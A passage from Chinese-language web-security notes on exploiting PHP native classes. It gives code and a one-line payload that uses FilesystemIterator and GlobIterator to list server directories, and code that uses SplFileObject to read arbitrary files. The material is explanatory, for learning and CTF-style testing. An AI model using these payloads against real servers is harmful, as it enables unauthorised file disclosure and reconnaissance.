$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
可读取文件类
plFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
<?php
$context = new SplFileObject('/cachegrind.out.1004');
echo $context;
但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:
<?php
$context = new SplFileObject('/cachegrind.out.1004');
foreach($context as $f){
echo($f);
}
参考文章:
https://whoamianony.top/2021/03/10/Web%E5%AE%89%E5%85%A8/PHP%20%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8%E5%B0%8F%E7%BB%93/